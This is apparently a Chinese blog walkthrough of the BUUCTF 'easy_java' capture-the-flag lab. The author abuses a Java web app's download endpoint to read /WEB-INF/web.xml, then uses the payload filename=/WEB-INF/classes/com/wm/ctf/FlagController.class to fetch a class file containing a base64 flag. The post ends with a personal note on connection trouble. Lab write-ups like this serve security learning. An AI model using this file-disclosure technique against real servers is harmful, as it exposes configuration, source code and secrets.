前言
注册BUUCTF:https://buuoj.cn/
打开搜索 easy_java,然后启动靶机,开始练习~
尝试并寻找突破口
点击 help
,获得提示,应该有个help.docx
文件。
所以访问http://a1e823e2-2d18-4639-8242-6db593857e71.node4.buuoj.cn:81/help.docx
,下载查看。
em--------------------有点悲伤,flag
不在这里
但是,既然可以通过访问目录下载文件,那我们肯定要尝试下载一些敏感信息文件啦~比如尝试一下/WEB-INF/web.xml
。
补充说明————————————————
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
GET
请求不行,换成POST
,提示URL
不对,加上Download
目录【这个目录在点击helo的时候,自己就出现的】
果然,有重大发现
<?xml version="1.0" encoding="UTF-8"?>
-<web-app version="4.0" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee">
-<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
-<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
-<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
-<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
-<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
-<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
-<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
-<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
-<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>
进一步分析payload
这段代码很关键呀,但是我们怎么找出flag呢?
科普:servlet:Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动态Web内容。(来源百度百科)
其实说明了这个就是JAVA源代码进行编译后所产生的后缀带有.class的东西。于是我们可以下载这个.class文件再利用反编译手段来获得flag。
-<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
-<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
所以payload就是,filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
。
打开文件,内容如下:
漱壕 4 +
! " flag Ljava/lang/String; <init> ()V Code LineNumberTable doGet R(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V
Exceptions # $
SourceFile FlagController.java RuntimeVisibleAnnotations %Ljavax/servlet/annotation/WebServlet; name FlagController <ZmxhZ3s2OTJjMDQxZS0yNmJlLTRkZTgtODk0Zi05ZjNjNDc1M2UxMTV9Cg==
% & ' &<h1>Flag is nearby ~ Come on! ! !</h1> ( ) * javax/servlet/http/HttpServlet javax/servlet/ServletException java/io/IOException &javax/servlet/http/HttpServletResponse getWriter ()Ljava/io/PrintWriter; java/io/PrintWriter print (Ljava/lang/String;)V !
' *?*??
. ,? N-??
s
看到提示了吗?“Flag is nearby ~ Come on! ! !”
所以前后找找,发现前面有一串疑似base64编码的字符串,复制去解码。得到flag啦~
提交格式
提交的时候需要把这整个串“flag{******************************}”都粘贴进去才行哦~
写在最后的心情小记
也不知道是什么原因,我启动靶机之后,打不开。刚开始以为靶机有问题,然后我疯狂重开。
后来,让周围的人打开能打开,然后又让群友打开也能打开,但是我换了几个浏览器都打不开!!!!
重启几次也不行,改本地hosts文件、关掉代理、设置防火墙允许浏览器通过、、、、网上能找到的办法我似乎都尝试了。
最后,热心群友让我打开VPN,开启系统代理,然后能打开了~这才成功完成了这第一次ctf题目的尝试。
太难受了,搞了三小时打不开靶机,打开之后5分钟解决做完题,这谁不难过呀,哎。
没事没事,以后指不定记知道是什么问题了,然后就能尽量避免这种奇奇怪怪的问题啦~